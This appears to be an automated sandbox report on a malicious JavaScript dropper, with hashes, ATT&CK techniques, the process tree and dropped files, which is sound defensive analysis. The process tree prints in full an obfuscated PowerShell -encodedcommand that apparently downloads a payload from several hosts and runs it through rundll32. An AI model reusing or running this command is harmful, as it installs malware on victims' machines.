dacab97bb4a43d20c42e57bbb8b03054e40253ae6d5085fde6fd9c01b9edd747

General

Target

Semischolastica.js
Size

298KB
MD5

14590e4a9c128c21c7be42e2ed5c416b
SHA1

e2d33ba8f20dc1e5602d453f19e12014c0db6955
SHA256

dacab97bb4a43d20c42e57bbb8b03054e40253ae6d5085fde6fd9c01b9edd747
SHA512

77453bf3495bca7b568eb562178417e90cb0fb5c9eb9434e65065f6fae308e58a049beb46b008f57584311465a53cd10d541a87c3c9aedcd646a5b98c3075539
SSDEEP

6144:ruXcFpTljYjcew/ANNI56FkOVE+2CUaIKrBquFkwcXozyj:ruveTgjyuuJj

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
51	4460	powershell.exe
55	4460	powershell.exe
57	4460	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Control Panel\International\Geo\Nation	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4460	powershell.exe
4460	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4460	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4520 wrote to memory of 440	4520	wscript.exe	89
PID 4520 wrote to memory of 440	4520	wscript.exe	89
PID 440 wrote to memory of 4460	440	wscript.exe	90
PID 440 wrote to memory of 4460	440	wscript.exe	90

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Semischolastica.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4520
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\ProgramData\Derivation.js" Lashing CapilloseFrontwise
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:440
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "JAB1AG4AbgBhAHQAdQByAGEAbABpAHoAZQBWAGkAYgByAG8AcwBjAG8AcABpAGMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAEIAQQBIAE0AQQBhAEEAQgBzAEEASABVAEEAYwB3AEIAcwBBAEcARQBBAGUAUQBBAHUAQQBHAE0AQQBiAHcAQgB2AEEARwBzAEEAYQBRAEIAdQBBAEcAYwBBAEwAcgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHkAQQBEAFUAQQBOAFEAQQB1AEEARABnAEEATgBBAEEAdQBBAEQAawBBAE0AQQBBAHUAQQBEAEUAQQBPAFEAQQB3AEEAQQA9AD0ATAByAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQASQBBAE0AdwBBAHgAQQBDADQAQQBPAEEAQQB6AEEAQwA0AEEATgBRAEEAMwBBAEMANABBAE0AZwBBAHkAQQBEAEkAQQAiADsAJABlAGwAZQBjAHQAcgBvAHAAaABvAHQAbwBtAGUAdAByAHkATgBvAG4AZwB1AHQAdAB1AHIAYQBsAG4AZQBzAHMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADEAQQBEAFUAQQBMAGcAQQB5AEEARABBAEEATgBBAEEAdQBBAEQARQBBAE0AdwBBADMAQQBDADQAQQBNAFEAQQB3AEEARABJAEEATAB3AEEAMwBBAEUANABBAGUAUQBBAHYAQQBFAGMAQQBPAFEAQQB4AEEARgBFAEEASQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADIAQQBEAFEAQQBMAGcAQQB4AEEARABFAEEATwBBAEEAdQBBAEQAVQBBAE0AUQBBAHUAQQBEAFkAQQBOAEEAQQB2AEEARQBNAEEAVgB3AEIAeQBBAEgAUQBBAEwAdwBCAGwAQQBFAEUAQQBXAGcAQQB3AEEARQB3AEEASQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFEAQQBPAFEAQQB1AEEARABFAEEATgBRAEEAMABBAEMANABBAE0AUQBBADEAQQBEAGsAQQBMAGcAQQA1AEEARABnAEEATAB3AEIAUQBBAEgAQQBBAFYAUQBCAFoAQQBGAGcAQQBMAHcAQgBIAEEARgBJAEEAUwBRAEIARQBBAEQAUQBBAE0AUQBBADIAQQBHAEUAQQBUAEEAQgBXAEEAQQA9AD0ASQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGsAQQBNAGcAQQB1AEEARABFAEEATQBnAEEAeABBAEMANABBAE0AZwBBAHoAQQBDADQAQQBNAFEAQQB3AEEARABRAEEATAB3AEIAVQBBAEUAdwBBAFIAdwBCAG8AQQBFADQAQQBaAEEAQQB2AEEARgBnAEEAWgBnAEIAWABBAEcAbwBBAE4AZwBCAEMAQQBFAEUAQQBTAEEAQQA9AEkAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABrAEEATQBnAEEAdQBBAEQARQBBAE0AZwBBAHgAQQBDADQAQQBNAGcAQQB6AEEAQwA0AEEATgBnAEEAeABBAEMAOABBAE8AUQBCAGgAQQBEAFkAQQBOAHcAQgB3AEEARwBVAEEAYwB3AEEAdgBBAEUAZwBBAFIAdwBCAEIAQQBFAFEAQQBUAGcAQgBVAEEASABjAEEAWgB3AEIAMwBBAEUANABBACIAOwBmAG8AcgBlAGEAYwBoACAAKAAkAGkAbgBzAG8AbAB2AGUAbgBjAHkAQgBhAHMAaQBmAHkAIABpAG4AIAAkAGUAbABlAGMAdAByAG8AcABoAG8AdABvAG0AZQB0AHIAeQBOAG8AbgBnAHUAdAB0AHUAcgBhAGwAbgBlAHMAcwAgAC0AcwBwAGwAaQB0ACAAIgBJACIAKQAgAHsAdAByAHkAIAB7ACQAVwBhAGsAYQBtAGIAYQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIASgBBAEcANABBAGQAQQBCAGwAQQBIAEkAQQBlAGcAQgA1AEEARwBjAEEAWQBRAEIAdwBBAEcAOABBAGMAQQBCAG8AQQBIAGsAQQBjAHcAQgBwAEEARwBFAEEAYgBBAEIASwBBAEcARQBBAGUAUQBCAGkAQQBHAGsAQQBjAGcAQgBrAEEASABNAEEATABnAEIAagBBAEcAZwBBACIAOwAkAEMAbwBhAHQAdABlAHMAdABhAHQAbwByACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABnAEEATQB3AEEAdQBBAEQARQBBAE0AQQBBADMAQQBDADQAQQBNAFEAQQB5AEEARABjAEEATABnAEEAeABBAEQASQBBAE0AUQBBAD0ASwBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADIAQQBEAGcAQQBMAGcAQQA0AEEARABVAEEATABnAEEAeABBAEQAZwBBAE4AUQBBAHUAQQBEAEkAQQBNAHcAQQB5AEEAQQA9AD0ASwBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHkAQQBEAFUAQQBNAEEAQQB1AEEARABFAEEATQB3AEEAegBBAEMANABBAE0AUQBBAHgAQQBEAFEAQQBMAGcAQQAzAEEARABBAEEASwBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAEUAQQBOAHcAQQB1AEEARABJAEEATgBBAEEAeABBAEMANABBAE0AZwBBAHoAQQBEAFUAQQBMAGcAQQB4AEEARABNAEEATQBBAEEAPQAiADsAJABOAG8AbgBzAHUAcwBjAGUAcAB0AGkAYgBsAGUAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBOAFEAQQB3AEEAQwA0AEEATQBRAEEAMgBBAEQARQBBAEwAZwBBAHgAQQBEAEUAQQBOAGcAQQB1AEEARABJAEEATgBRAEEAeQBBAEEAPQA9AGoAUQBlAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAMABBAEQAUQBBAEwAZwBBAHkAQQBEAEkAQQBNAGcAQQB1AEEARABJAEEATQBBAEEAMwBBAEMANABBAE8AUQBBAHoAQQBBAD0APQAiADsAJABPAHYAZQByAHAAbwBlAHQAaQBjAGkAegBlACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGkAbgBzAG8AbAB2AGUAbgBjAHkAQgBhAHMAaQBmAHkAKQApADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAJABPAHYAZQByAHAAbwBlAHQAaQBjAGkAegBlACAALQBPACAAJABlAG4AdgA6AFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAEIAYQBzAHQAYQByAGQAcgB5AEQAYQBtAG8AaQBzAGUAYQB1AC4AcwB0AG8AcgBlAGUAbgA7ACQAbgBlAG8AbQB5AGMAaQBuAFUAbgBjAG8AbgB2AGUAbgB0AGkAbwBuAGEAbABpAHoAZQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAVABBAEgAUQBBAFoAUQBCAHkAQQBHAGsAQQBiAEEAQgBwAEEASABNAEEAWQBRAEIAaQBBAEcAawBBAGIAQQBCAHAAQQBIAFEAQQBlAFEAQgBRAEEARwBFAEEAYgBBAEIAaABBAEcAVQBBAGIAdwBCAGoAQQBIAEkAQQBlAFEAQgB6AEEASABRAEEAWQBRAEIAcwBBAEcAdwBBAGEAUQBCAHUAQQBHAFUAQQBMAGcAQgB3AEEARwBrAEEAYgBnAEIAcgBBAEEAPQA9AHYAQwBaAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEUATQBBAGEAUQBCAHkAQQBIAEkAQQBhAEEAQgB2AEEASABVAEEAYwB3AEIAVgBBAEgASQBBAFkAUQBCAHUAQQBHADgAQQBjAHcAQgBqAEEARwBnAEEAYQBRAEIAegBBAEcAawBBAGMAdwBBAHUAQQBIAEEAQQBhAFEAQgA2AEEASABvAEEAWQBRAEEAPQB2AEMAWgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFkAQQBNAEEAQQB1AEEARABFAEEATgBRAEEANABBAEMANABBAE0AUQBBAHgAQQBEAGMAQQBMAGcAQQB4AEEARABRAEEATQB3AEEAPQAiADsAJABVAG4AcABlAHIAcwBvAG4AaQBmAHkAaQBuAGcAUwB3AGUAbABsAGEAZwBlACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABJAEEATQBBAEEAegBBAEMANABBAE0AUQBBAHgAQQBEAGcAQQBMAGcAQQAzAEEARABVAEEATABnAEEAeABBAEQASQBBAE0AdwBBAD0AUgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHADgAQQBlAGcAQgB2AEEARwA0AEEAYQBRAEIAMQBBAEcAMABBAFUAZwBCAGwAQQBIAFEAQQBZAFEAQgBwAEEARwA0AEEAYwB3AEEAdQBBAEcATQBBAGMAZwBCADEAQQBHAGsAQQBjAHcAQgBsAEEASABNAEEAUgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHkAQQBEAEUAQQBPAEEAQQB1AEEARABJAEEATQBBAEEAeQBBAEMANABBAE0AUQBBADQAQQBEAEEAQQBMAGcAQQB4AEEARABBAEEATgBnAEEAPQAiADsAJABCAHUAbABsAGgAbwBvAGYAVABlAG0AcAB1AHMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGcAQQBPAEEAQQB1AEEARABjAEEATQBRAEEAdQBBAEQARQBBAE4AdwBBADIAQQBDADQAQQBOAFEAQQB3AEEAQQA9AD0AVABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAFUAQQBiAGcAQgB3AEEASABJAEEAYgB3AEIAMgBBAEcAOABBAFkAdwBCAGgAQQBIAFEAQQBhAFEAQgAyAEEARwBVAEEAYgBBAEIANQBBAEMANABBAFoAZwBCAHQAQQBBAD0APQBUAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAQgBBAEgATQBBAGMAdwBCAHAAQQBHAGMAQQBiAGcAQgBwAEEARwA0AEEAWgB3AEIASgBBAEgATQBBAGIAdwBCAGgAQQBIAE0AQQBjAEEAQgBoAEEASABJAEEAWQBRAEIAbgBBAEcAawBBAGIAZwBCAGwAQQBDADQAQQBaAHcAQgB2AEEARwB3AEEAWgBnAEEAPQAiADsAaQBmACAAKAAoAEcAZQB0AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABCAGEAcwB0AGEAcgBkAHIAeQBEAGEAbQBvAGkAcwBlAGEAdQAuAHMAdABvAHIAZQBlAG4AKQAuAEwAZQBuAGcAdABoACAALQBnAGUAIAAyADEANQAxADkANgApAHsAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AZQBuAGMAbwBkAGUAZABjAG8AbQBtAGEAbgBkACAAIgBjAHcAQgAwAEEARwBFAEEAYwBnAEIAMABBAEMAQQBBAGMAZwBCADEAQQBHADQAQQBaAEEAQgBzAEEARwB3AEEATQB3AEEAeQBBAEMAQQBBAEoAQQBCAGwAQQBHADQAQQBkAGcAQQA2AEEARgBBAEEAYwBnAEIAdgBBAEcAYwBBAGMAZwBCAGgAQQBHADAAQQBSAEEAQgBoAEEASABRAEEAWQBRAEIAYwBBAEUASQBBAFkAUQBCAHoAQQBIAFEAQQBZAFEAQgB5AEEARwBRAEEAYwBnAEIANQBBAEUAUQBBAFkAUQBCAHQAQQBHADgAQQBhAFEAQgB6AEEARwBVAEEAWQBRAEIAMQBBAEMANABBAGMAdwBCADAAQQBHADgAQQBjAGcAQgBsAEEARwBVAEEAYgBnAEEAcwBBAEcASQBBAGEAUQBCAHUAQQBHAFEAQQBPAHcAQQA9ACIAOwAkAFAAaABpAGwAbwBtAGEAYwBoAHUAcwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAagBBAEcAOABBAGIAUQBCAHQAQQBHAEUAQQBiAGcAQgBrAEEARwBVAEEAYwBnAEIAegBBAEcAZwBBAGEAUQBCAHcAQQBDADQAQQBjAGcAQgB2AEEAQQA9AD0AegBXAGQAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARQBVAEEAYgBnAEIAcgBBAEcAawBBAGIAZwBCAGsAQQBHAHcAQQBhAFEAQgB1AEEARwBjAEEAVQBBAEIAbwBBAEcAOABBAGQAQQBCAHYAQQBHADAAQQBaAFEAQgBqAEEARwBnAEEAWQBRAEIAdQBBAEcAawBBAFkAdwBCAGgAQQBHAHcAQQBiAEEAQgA1AEEAQwA0AEEAYgBBAEIAdgBBAEcAdwBBACIAOwBiAHIAZQBhAGsAOwB9AH0AIABjAGEAdABjAGgAIAB7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADQAOwB9AH0A"
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4460

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\Derivation.js

Filesize
298KB

MD5
14590e4a9c128c21c7be42e2ed5c416b

SHA1
e2d33ba8f20dc1e5602d453f19e12014c0db6955

SHA256
dacab97bb4a43d20c42e57bbb8b03054e40253ae6d5085fde6fd9c01b9edd747

SHA512
77453bf3495bca7b568eb562178417e90cb0fb5c9eb9434e65065f6fae308e58a049beb46b008f57584311465a53cd10d541a87c3c9aedcd646a5b98c3075539

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ttzw3nh3.dmo.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4460-135-0x00000186FCE40000-0x00000186FCE62000-memory.dmp

Filesize
136KB

Download
memory/4460-145-0x00000186E4BC0000-0x00000186E4BD0000-memory.dmp

Filesize
64KB

Download
memory/4460-146-0x00000186E4BC0000-0x00000186E4BD0000-memory.dmp

Filesize
64KB

Download
memory/4460-147-0x00000186E4BC0000-0x00000186E4BD0000-memory.dmp

Filesize
64KB

Download
memory/4460-148-0x00000186E4BC0000-0x00000186E4BD0000-memory.dmp

Filesize
64KB

Download
memory/4460-149-0x00000186E4BC0000-0x00000186E4BD0000-memory.dmp

Filesize
64KB

Download
memory/4460-150-0x00000186E4BC0000-0x00000186E4BD0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing